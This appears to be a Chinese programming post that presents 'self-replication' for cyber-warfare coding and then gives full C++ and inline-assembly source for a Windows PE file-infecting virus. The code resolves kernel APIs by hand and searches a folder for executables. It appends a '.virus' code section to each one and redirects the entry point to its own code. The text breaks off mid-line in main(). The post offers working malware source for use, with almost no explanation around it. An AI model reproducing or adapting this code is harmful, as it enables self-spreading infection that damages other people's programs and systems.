我们进行信息安全与网络战编程的时候,经常需要实现程序的自我复制,
我们如何实现程序的自我复制呢,
请见代码
#include <iostream.h> #include <windows.h> #include <stdio.h> ////////////////////////////////////////////////////////////////////////// //******************************************************************* //*******以下为程序代码******* //*******此段代码首先动态获取API入口地址 //*******然后实现代码的自我复制 //******************************************************************* ////////////////////////////////////////////////////////////////////////// void VirusCode() { ////////////////////////////////////////////////////////////////////////// // *******以下代码用于获取本函数在内存中的起始地址******* // *******本函数功能相对独立******* ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // *******变量说明******* // **dwCodeBegin :本函数的开始地址 // **dwCodeEnd :本函数的结束地址 // **dwMyCodeAddr :自己写的代码的开始地址 ////////////////////////////////////////////////////////////////////////// DWORD dwCodeBegin , dwCodeEnd , dwMyCodeAddr; // *******指针变量******* PBYTE pMove = NULL; // *******动态获取自己写的代码的开始地址******* _asm { call A A: pop eax mov dwMyCodeAddr , eax } // *******把地址赋给变量******* pMove = (PBYTE)dwMyCodeAddr; // *******向前搜索得到函数的真正入口地址******* while(!((*pMove == 0x55) && (*(pMove + 1) == 0x8B))) { pMove --; } // *******此时pMove指向函数的入口push ebp处******* dwCodeBegin = (DWORD)pMove; //cout << "开始地址为:" << hex << dwCodeBegin << endl; // *******从自己写的代码处向后搜索******* pMove = (PBYTE)dwMyCodeAddr; while (!((*(pMove + 1) == 0x5B) && (*pMove == 0x5E) && (*(pMove - 1) == 0x5F) && (*(pMove + 2) == 0x8B) && (*(pMove + 3) == 0xE5))) { pMove ++; } pMove += 9; // *******此时pMove指向ret的前一条指令pop ebp处******* dwCodeEnd = (DWORD)pMove; DWORD dwFunCodeLen; dwFunCodeLen = dwCodeEnd - dwCodeBegin; ////////////////////////////////////////////////////////////////////////// // *******上面为获取本函数的起始与结束地址******* ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // *******下面动态获取API入口地址 ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // *******定义用到的字符串******* char GetProcAddrName[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'}; char LoadLibName[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\0'}; DWORD KernelBase; // *******获取本程序结束后的返回地址,此地址必须在开始处获得******* _asm { mov eax , [ebp+4] mov KernelBase,eax } ////////////////////////////////////////////////////////////////////////// // *******以下通过变换得到Kernel32.dll的基址******* ////////////////////////////////////////////////////////////////////////// KernelBase = KernelBase & 0Xffff0000; // *******检查是否到了kernel32.dll的装载基址******* IMAGE_DOS_HEADER *doshead; while(KernelBase >= 0X70000000) { // *******首先检查dos文件头******* doshead = (IMAGE_DOS_HEADER*)KernelBase; if(doshead->e_magic == IMAGE_DOS_SIGNATURE) { // *******再检查NT文件头******* IMAGE_NT_HEADERS* nthead; nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew); if(nthead->Signature == IMAGE_NT_SIGNATURE) { break; } } KernelBase-=0x10000; } ////////////////////////////////////////////////////////////////////////// // *******以下通过搜索kernel32.dll得到GetProcAddress的地址******* ////////////////////////////////////////////////////////////////////////// DWORD AddrOfGetProcAddr , AddrOfLoadLib; IMAGE_DOS_HEADER* pFile1; //指向dos文件头 IMAGE_NT_HEADERS* pFile2; //指向nt文件头 // *******检查文件的合法性******* pFile1 = (IMAGE_DOS_HEADER* )KernelBase; if(pFile1->e_magic != IMAGE_DOS_SIGNATURE) { return; } pFile2 = (IMAGE_NT_HEADERS*)((PBYTE)pFile1 + pFile1->e_lfanew); if(pFile2->Signature != IMAGE_NT_SIGNATURE) { return; } IMAGE_EXPORT_DIRECTORY *pExport; pExport = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)pFile1 + pFile2->OptionalHeader.DataDirectory[0].VirtualAddress); // *******以下在导出表中搜索名字为"GetProcAddress"的函数地址******* char *FunName; DWORD *AddrOfNameRVA; WORD *AddrOfNameOrRVA; AddrOfNameRVA = (DWORD*)(KernelBase + pExport->AddressOfNames); for (int i = 0 ; i < (int)pExport->NumberOfNames ; i++) { FunName = (char*)(KernelBase + AddrOfNameRVA[i]); // *******函数名与字符串"GetProcAddress"进行比较******* BOOL eql = 1; for (int j = 0 ; j < 15 ; j ++) { if (GetProcAddrName[j] != FunName[j]) { eql = 0; break; } } // *******如果字符串相等了,说明找到了******* if (eql) { AddrOfNameOrRVA = (WORD*)(KernelBase + pExport->AddressOfNameOrdinals); int num = 0; num = pExport->Base + AddrOfNameOrRVA[i]; DWORD *AddrOfFun; AddrOfFun = (DWORD*)(KernelBase + pExport->AddressOfFunctions); AddrOfGetProcAddr = KernelBase + AddrOfFun[num - 1]; break; } } ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // *******以下集中获取要用到的API入口地址******* ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // *******定义GetProcAddress函数类型******* typedef DWORD (WINAPI *stGetProcAddress)(HMODULE , LPCSTR); // *******定义LoadLibraryA函数地址******* typedef DWORD (WINAPI *stLoadLibrary)(LPCSTR); // *******调用GetProcAddress获取LoadLibrary地址******* // *******定义GetProcAddress函数变量******* stGetProcAddress myGetProcAddress; // *******给函数赋地址******* myGetProcAddress = (stGetProcAddress)AddrOfGetProcAddr; // *******调用GetProcAddress******* AddrOfLoadLib = myGetProcAddress((HMODULE)KernelBase , LoadLibName); // *******定义LoadLibrary函数变量******* stLoadLibrary myLoadLibrary; // *******给函数赋地址******* myLoadLibrary = (stLoadLibrary)AddrOfLoadLib; char User32Name[] = {'u','s','e','r','3','2','.','d','l','l','\0'}; DWORD User32Base; //存放user32.dll的基址 // *******得到user32.dll的基址******* User32Base = myLoadLibrary(User32Name); ////////////////////////////////////////////////////////////////////////// // *****获取CreateFile函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef HANDLE (WINAPI *stCreateFile)(LPCTSTR , DWORD , DWORD , LPSECURITY_ATTRIBUTES , DWORD , DWORD , HANDLE); // *****定义函数变量***** stCreateFile myCreateFile; // *****定义函数名称字符串***** char CreateFileName[] = {'C','r','e','a','t','e','F','i','l','e','A','\0'}; // *****获得函数地址***** myCreateFile = (stCreateFile)myGetProcAddress((HMODULE)KernelBase , CreateFileName); ////////////////////////////////////////////////////////////////////////// // *****获取CreateFileMapping函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef HANDLE (WINAPI *stCreateFileMapping)(HANDLE , LPSECURITY_ATTRIBUTES , DWORD , DWORD , DWORD , LPCTSTR ); // *****定义函数变量***** stCreateFileMapping myCreateFileMapping; // *****定义函数名称字符串***** char CreateFileMappingName[] = {'C','r','e','a','t','e','F','i','l','e', 'M','a','p','p','i','n','g','A','\0'}; // *****获得函数地址***** myCreateFileMapping = (stCreateFileMapping)myGetProcAddress((HMODULE)KernelBase , CreateFileMappingName); ////////////////////////////////////////////////////////////////////////// // *****获取MapViewOfFile函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef LPVOID (WINAPI *stMapViewOfFile)(HANDLE , DWORD , DWORD , DWORD , DWORD); // *****定义函数变量***** stMapViewOfFile myMapViewOfFile; // *****定义函数名称字符串***** char MapViewOfFileName[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e','\0'}; // *****获得函数地址***** myMapViewOfFile = (stMapViewOfFile)myGetProcAddress((HMODULE)KernelBase , MapViewOfFileName); ////////////////////////////////////////////////////////////////////////// // *****获取GlobalAlloc函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef HGLOBAL (WINAPI *stGlobalAlloc)(UINT , SIZE_T); // *****定义函数变量***** stGlobalAlloc myGlobalAlloc; // *****定义函数名称字符串***** char GlobalAllocName[] = {'G','l','o','b','a','l','A','l','l','o','c','\0'}; // *****获得函数地址***** myGlobalAlloc = (stGlobalAlloc)myGetProcAddress((HMODULE)KernelBase , GlobalAllocName); ////////////////////////////////////////////////////////////////////////// // *****获取RtlMoveMemory函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef void (WINAPI *stRtlMoveMemory)(PVOID , const VOID* , SIZE_T ); // *****定义函数变量***** stRtlMoveMemory myRtlMoveMemory; // *****定义函数名称字符串***** char RtlMoveMemoryName[] = {'R','t','l','M','o','v','e','M','e','m','o','r','y','\0'}; // *****获得函数地址***** myRtlMoveMemory = (stRtlMoveMemory)myGetProcAddress((HMODULE)KernelBase , RtlMoveMemoryName); ////////////////////////////////////////////////////////////////////////// // *****获取SetFilePointer函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef DWORD (WINAPI *stSetFilePointer)(HANDLE , LONG , PLONG , DWORD); // *****定义函数变量***** stSetFilePointer mySetFilePointer; // *****定义函数名称字符串***** char SetFilePointerName[] = {'S','e','t','F','i','l','e','P','o','i','n','t','e','r','\0'}; // *****获得函数地址***** mySetFilePointer = (stSetFilePointer)myGetProcAddress((HMODULE)KernelBase , SetFilePointerName); ////////////////////////////////////////////////////////////////////////// // *****获取WriteFile函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef BOOL (WINAPI *stWriteFile)(HANDLE , LPCVOID , DWORD , LPDWORD , LPOVERLAPPED); // *****定义函数变量***** stWriteFile myWriteFile; // *****定义函数名称字符串***** char WriteFileName[] = {'W','r','i','t','e','F','i','l','e','\0'}; // *****获得函数地址***** myWriteFile = (stWriteFile)myGetProcAddress((HMODULE)KernelBase , WriteFileName); ////////////////////////////////////////////////////////////////////////// // *****获取SetEndOfFile函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef BOOL (WINAPI *stSetEndOfFile)(HANDLE); // *****定义函数变量***** stSetEndOfFile mySetEndOfFile; // *****定义函数名称字符串***** char SetEndOfFileName[] = {'S','e','t','E','n','d','O','f','F','i','l','e','\0'}; // *****获得函数地址***** mySetEndOfFile = (stSetEndOfFile)myGetProcAddress((HMODULE)KernelBase , SetEndOfFileName); ////////////////////////////////////////////////////////////////////////// // *****获取CloseHandle函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef BOOL (WINAPI *stCloseHandle)(HANDLE); // *****定义函数变量***** stCloseHandle myCloseHandle; // *****定义函数名称字符串***** char CloseHandleName[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; // *****获得函数地址***** myCloseHandle = (stCloseHandle)myGetProcAddress((HMODULE)KernelBase , CloseHandleName); ////////////////////////////////////////////////////////////////////////// // *****获取UnmapViewOfFile函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef BOOL (WINAPI *stUnmapViewOfFile)(LPCVOID); // *****定义函数变量***** stUnmapViewOfFile myUnmapViewOfFile; // *****定义函数名称字符串***** char UnmapViewOfFileName[] = {'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e','\0'}; // *****获得函数地址***** myUnmapViewOfFile = (stUnmapViewOfFile)myGetProcAddress((HMODULE)KernelBase , UnmapViewOfFileName); ////////////////////////////////////////////////////////////////////////// // *****获取FindFirstFile函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef HANDLE (WINAPI *stFindFirstFile)(LPCTSTR , LPWIN32_FIND_DATA); // *****定义函数变量***** stFindFirstFile myFindFirstFile; // *****定义函数名称字符串***** char FindFirstFileName[] = {'F','i','n','d','F','i','r','s','t','F','i','l','e','A','\0'}; // *****获得函数地址***** myFindFirstFile = (stFindFirstFile)myGetProcAddress((HMODULE)KernelBase , FindFirstFileName); ////////////////////////////////////////////////////////////////////////// // *****获取CopyFile函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef BOOL (WINAPI *stCopyFile)(LPCTSTR , LPCTSTR , BOOL); // *****定义函数变量***** stCopyFile myCopyFile; // *****定义函数名称字符串***** char CopyFileName[] = {'C','o','p','y','F','i','l','e','A','\0'}; // *****获得函数地址***** myCopyFile = (stCopyFile)myGetProcAddress((HMODULE)KernelBase , CopyFileName); ////////////////////////////////////////////////////////////////////////// // *****获取FindNextFile函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef BOOL (WINAPI *stFindNextFile)(HANDLE , LPWIN32_FIND_DATA); // *****定义函数变量***** stFindNextFile myFindNextFile; // *****定义函数名称字符串***** char FindNextFileName[] = {'F','i','n','d','N','e','x','t','F','i','l','e','A','\0'}; // *****获得函数地址***** myFindNextFile = (stFindNextFile)myGetProcAddress((HMODULE)KernelBase , FindNextFileName); ////////////////////////////////////////////////////////////////////////// // *****获取FindClose函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef BOOL (WINAPI *stFindClose)(HANDLE); // *****定义函数变量***** stFindClose myFindClose; // *****定义函数名称字符串***** char FindCloseName[] = {'F','i','n','d','C','l','o','s','e','\0'}; // *****获得函数地址***** myFindClose = (stFindClose)myGetProcAddress((HMODULE)KernelBase , FindCloseName); ////////////////////////////////////////////////////////////////////////// // *****获取lstrcat函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef LPTSTR (WINAPI *stlstrcat)(LPTSTR , LPTSTR); // *****定义函数变量***** stlstrcat mylstrcat; // *****定义函数名称字符串***** char lstrcatName[] = {'l','s','t','r','c','a','t','\0'}; // *****获得函数地址***** mylstrcat = (stlstrcat)myGetProcAddress((HMODULE)KernelBase , lstrcatName); ////////////////////////////////////////////////////////////////////////// // *****获取lstrcpy函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef LPTSTR (WINAPI *stlstrcpy)(LPTSTR , LPTSTR); // *****定义函数变量***** stlstrcpy mylstrcpy; // *****定义函数名称字符串***** char lstrcpyName[] = {'l','s','t','r','c','p','y','\0'}; // *****获得函数地址***** mylstrcpy = (stlstrcpy)myGetProcAddress((HMODULE)KernelBase , lstrcpyName); ////////////////////////////////////////////////////////////////////////// // *****获取lstrlen函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef int (WINAPI *stlstrlen)(LPCTSTR); // *****定义函数变量***** stlstrlen mylstrlen; // *****定义函数名称字符串***** char lstrlenName[] = {'l','s','t','r','l','e','n','\0'}; // *****获得函数地址***** mylstrlen = (stlstrlen)myGetProcAddress((HMODULE)KernelBase , lstrlenName); ////////////////////////////////////////////////////////////////////////// // *****获取RtlZeroMemory函数地址***** ////////////////////////////////////////////////////////////////////////// // *****首先定义函数类型***** typedef void (WINAPI *stRtlZeroMemory)(PVOID , SIZE_T); // *****定义函数变量***** stRtlZeroMemory myRtlZeroMemory; // *****定义函数名称字符串***** char RtlZeroMemoryName[] = {'R','t','l','Z','e','r','o','M','e','m','o','r','y','\0'}; // *****获得函数地址***** myRtlZeroMemory = (stRtlZeroMemory)myGetProcAddress((HMODULE)KernelBase , RtlZeroMemoryName); ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // *******以上集中获取用到的API******* ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // *******下面为搜索并自我复制的代码******* ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // *******搜索的带过滤条件的源目录******* char SourceDirFilter[] = {'D',':','\\','s','o','u','r','c','e','\\','*','.','e','x','e','\0'}; // *******不带条件的源目录******* char SourceDir[] = {'D',':','\\','s','o','u','r','c','e','\\','\0'}; // *******要复制的目录******* char DestDir[] = {'D',':','\\','d','e','s','t','i','n','a','\\','\0'}; WIN32_FIND_DATA findBuf; // *******进行第一次搜索******* HANDLE hFileFind = myFindFirstFile(SourceDirFilter , &findBuf); // *******申请缓冲区,用于存放源文件的完整目录+文件名******* char *SourDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH); // *******申请缓冲区,用于存放目的文件的完整目录+文件名******* char *DestDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH); // *******对每一个文件进行复制感染操作******* do { // *******缓冲区清空******* myRtlZeroMemory(SourDirNameBuf , MAX_PATH); myRtlZeroMemory(DestDirNameBuf , MAX_PATH); // *******把源目录放在缓冲区中******* mylstrcpy(SourDirNameBuf , SourceDir); // *******把搜索到的文件名添加在源目录后面******* mylstrcat(SourDirNameBuf , findBuf.cFileName); // *******把目的目录放在缓冲区中******* mylstrcpy(DestDirNameBuf , DestDir); // *******把搜索到的文件名添加在源目录后面******* mylstrcat(DestDirNameBuf , findBuf.cFileName); ////////////////////////////////////////////////////////////////////////// // *******以下对每一个文件感染******* ////////////////////////////////////////////////////////////////////////// HANDLE hFile , hMapFile; LPVOID pMapOfFile = NULL; char SecName[] = {'.','v','i','r','u','s','\0'}; //新添加的节名 ////////////////////////////////////////////////////////////////////////// //*******检测文件合法性******* ////////////////////////////////////////////////////////////////////////// // *******打开文件******* hFile = myCreateFile(SourDirNameBuf , GENERIC_READ , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); if (INVALID_HANDLE_VALUE == hFile) { goto TheNextFile; } // *******创建文件映射******* hMapFile = myCreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL); if (!hMapFile) { goto CLOSEFILEHANDLE; } // *******把文件映射到内存中******* pMapOfFile = myMapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0); if (!pMapOfFile) { goto CLOSEMAPHANDLE; } IMAGE_DOS_HEADER *pDosHeader; // ********检测DOS文件头******* pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile; if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { goto FreeViewOfMap; } IMAGE_NT_HEADERS *pNtHeader; // *******检测NT文件头******* pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew); if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) { goto FreeViewOfMap; } ////////////////////////////////////////////////////////////////////////// // *******检测感染标记******* ////////////////////////////////////////////////////////////////////////// // *******得到该文件的节表数******* int SecNum; SecNum = pNtHeader->FileHeader.NumberOfSections; // *******定位到节表开始处******* IMAGE_SECTION_HEADER *pSecHeader; pSecHeader = (IMAGE_SECTION_HEADER*)((PBYTE)pNtHeader + 248); int i ; // *******循环扫描各个节表,如果有节的名字为virus则说明已经被感染过******* for (i = 0 ; i < SecNum ; i ++) { char *SecNameAddr = (char*)pSecHeader->Name; if ((SecNameAddr[0] == '.') && (SecNameAddr[1] == 'v') && (SecNameAddr[2] == 'i') && (SecNameAddr[3] == 'r') && (SecNameAddr[4] == 'u') && (SecNameAddr[5] == 's')) { // *******直接退出******* goto FreeViewOfMap; } // *******查看下一个节表******* pSecHeader ++; } ////////////////////////////////////////////////////////////////////////// //*******准备工作******* ////////////////////////////////////////////////////////////////////////// BOOL bCopy; // *******首先把要添加程序代码的文件复制一份******* bCopy = myCopyFile(SourDirNameBuf , DestDirNameBuf , FALSE); if (!bCopy) { goto FreeViewOfMap; } HANDLE hNewFile; // *******打开刚刚复制的文件******* hNewFile = myCreateFile(DestDirNameBuf , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); if (!hNewFile) { goto FreeViewOfMap; } HGLOBAL pNewFileHeader; // *******为新文件的文件头申请一块内存,用于修改文件头信息******* pNewFileHeader = myGlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders); if (!pNewFileHeader) { goto CloseNewFileHandle; } // *******用原文件头填充这块内存******* myRtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders); // *******定义一个变量指向新内存的NT文件头处******* IMAGE_NT_HEADERS *pNewFileNtHeader; pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew); ////////////////////////////////////////////////////////////////////////// //*******此时的指针信息******* //*******pMapOfFile : 原映射文件的开始 //*******pDosHeader : 原映射文件的DOS头,也就是文件开始,只不过类型不一样 //*******pNTHeader : 原映射文件的NT头 //*******pNewFileHeader : 新文件的开始 //*******pNewFileNtHeader : 新文件的NT头 ////////////////////////////////////////////////////////////////////////// //**************************************************************** //*******修改新文件的节表信息******* //**************************************************************** int nSecNum; nSecNum = pNtHeader->FileHeader.NumberOfSections; IMAGE_SECTION_HEADER *pLastSec , *pNewSec; // *******定位到原文件中的最后一个节表******* pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS) + (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER)); // *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头******* pNewSec = pLastSec + 1; //*******修改新增节表的相关信息******* //*****节表总数加1***** pNewFileNtHeader->FileHeader.NumberOfSections ++; //*****修改新节的文件偏移***** pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData; //*****修改新节的文件尺寸***** int nAlignNum; nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment; if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0) { nAlignNum++; } pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment; //*****修改所有代码长度按内存页对齐后的大小***** nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment; if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) { nAlignNum ++; } pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment; //*****修改文件内存映像尺寸***** pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment; //*****修改新节的内存偏移量***** //*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小***** nAlignNum = pLastSec->Misc.VirtualSize / pNewFileNtHeader->OptionalHeader.SectionAlignment; if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) { nAlignNum ++; } pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment + pLastSec->VirtualAddress; //*****修改新节的内存尺寸***** pNewSec->Misc.VirtualSize = dwFunCodeLen; //*****更新新节属性***** pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE; //*****更新节名***** mylstrcpy((char*)pNewSec->Name , SecName); //*****更新入口地址***** pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress; BOOL bWrite; DWORD dwHeaderSize , dwWriten; dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders); bWrite = myWriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL); ////////////////////////////////////////////////////////////////////////// //*****向文件中添加程序代码***** ////////////////////////////////////////////////////////////////////////// DWORD dwSetFileP; //*****定位到新文件中新节开始处***** dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN); if (!dwSetFileP) { goto CloseNewFileHandle; } //*****写入程序代码***** bWrite = myWriteFile(hNewFile , (LPVOID)dwCodeBegin , dwFunCodeLen , &dwWriten , NULL); if (!bWrite) { goto CloseNewFileHandle; } //*****定位到文件尾部***** dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData + pNewSec->SizeOfRawData , NULL , FILE_BEGIN); if (!dwSetFileP) { goto CloseNewFileHandle; } //*****设定文件结束***** if (!mySetEndOfFile(hNewFile)) { goto CloseNewFileHandle; } ////////////////////////////////////////////////////////////////////////// //*******修正原入口地址******* ////////////////////////////////////////////////////////////////////////// PBYTE pModifyAddr; pModifyAddr = (PBYTE)pNewSec->VirtualAddress; pModifyAddr += dwFunCodeLen; int nSub; //跳转的距离 nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr; DWORD dwModifyLoca; dwModifyLoca = pNewSec->PointerToRawData; dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5; // *****定位到程序代码最后的五个字节处***** dwSetFileP = mySetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN); if (!dwSetFileP) { goto CloseNewFileHandle; } //*****修正jmp指令***** BYTE bJmp; bJmp = 0XE9; bWrite = myWriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL); if (!bWrite) { goto CloseNewFileHandle; } //*****修正跳转地址***** bWrite = myWriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL); if (!bWrite) { goto CloseNewFileHandle; } ////////////////////////////////////////////////////////////////////////// //*******扫尾工作******* ////////////////////////////////////////////////////////////////////////// CloseNewFileHandle: myCloseHandle(hNewFile); FreeViewOfMap: myUnmapViewOfFile(pMapOfFile); CLOSEMAPHANDLE: myCloseHandle(hMapFile); CLOSEFILEHANDLE: myCloseHandle(hFile); TheNextFile: ; } while (myFindNextFile(hFileFind , &findBuf)); myFindClose(hFileFind); return; } ////////////////////////////////////////////////////////////////////////// //******************************************************************* //*******主函数******* //******************************************************************* ////////////////////////////////////////////////////////////////////////// void main() { //******************************************************************* //*******首先得到程序代码起始地址,结束地址,代码长度******* //******************************************************************* ///////////////////////////////////////////////////////////////// // *******变量说明******* // **dwFunBegAddr :程序函数的开始地址 // **dwFunEndAddr :程序函数的结束地址 // **dwFunCodeLen :程序代码长度 // **dwJmpOff :程序函数jmp区到真正入口的偏移 // **pMove :临时的指针变量 ///////////////////////////////////////////////////////////////// DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen; PBYTE pMove = NULL; // *******首先指向程序函数的jmp指令******* pMove = (PBYTE)VirusCode; cout << "函数的jmp地址为:" << (PVOID)pMove << endl; // *******定位到jmp后面的偏移处******* pMove ++; // *******把偏移赋值给变量******* dwJmpOff = *((PDWORD)pMove); // *******jmp下一条指令的地址(code + 5)+偏移得到函数真正的入口地址******* dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff; cout << "函数jmp的跳转偏移为:" <<(PVOID)dwJmpOff << endl; cout << "开始地址为:" << (PVOID)dwFunBegAddr << endl; // *******以下通过搜索得到函数的结束地址******* // *******首先把函数的入口地址赋给变量******* pMove = (PBYTE)dwFunBegAddr; // *******向后搜索,直到结尾******* while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5))) { pMove ++; } // *******此时pMove指向ret前一条指令******* // *******pMove向后移5个字节,为程序代码的jmp指令占位******* pMove +=5; dwFunEndAddr = (DWORD)pMove; cout << "代码结束地址为:" << (PVOID)dwFunEndAddr << endl; // *******结束地址减去起始地址,得到代码长度******* dwFunCodeLen = dwFunEndAddr - dwFunBegAddr; cout << "总代码长度为:" << (int)dwFunCodeLen << endl; //******************************************************************* //*******以下为在exe文件中添加程序代码******* //******************************************************************* HANDLE hFile , hMapFile; LPVOID pMapOfFile = NULL; //******************************************************************* //*******检测文件合法性******* //******************************************************************* // *******打开文件******* hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); if (INVALID_HANDLE_VALUE == hFile) { cout << "CreateFile Error!" << endl; return; } // *******创建文件映射******* hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL); if (!hMapFile) { cout << "CreateFileMapping Error!" << endl; goto CLOSEFILEHANDLE; } // *******把文件映射到内存中******* pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0); if (!pMapOfFile) { cout << "MapViewOfFile Error!" << endl; goto CLOSEMAPHANDLE; } IMAGE_DOS_HEADER *pDosHeader; // ********检测DOS文件头******* pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile; if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { cout << "Check Dos Header Error!" << endl; goto FreeViewOfMap; } IMAGE_NT_HEADERS *pNtHeader; // *******检测NT文件头******* pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew); if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) { cout << "Check NT Header Error!" << endl; goto FreeViewOfMap; } //*************************************************************** //*******准备工作******* //*************************************************************** BOOL bCopy; // *******首先把要添加程序代码的文件复制一份******* bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE); if (!bCopy) { cout << "CopyFile Error!" << endl; } HANDLE hNewFile; // *******打开刚刚复制的文件******* hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); if (!hNewFile) { cout << "CreateFile Error!" << endl; goto FreeViewOfMap; } HGLOBAL pNewFileHeader; // *******为新文件的文件头申请一块内存,用于修改文件头信息******* pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders); if (!pNewFileHeader) { cout << "GlobalAlloc Error!" << endl; goto CloseNewFileHandle; } // *******用原文件头填充这块内存******* RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders); IMAGE_NT_HEADERS *pNewFileNtHeader; pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + 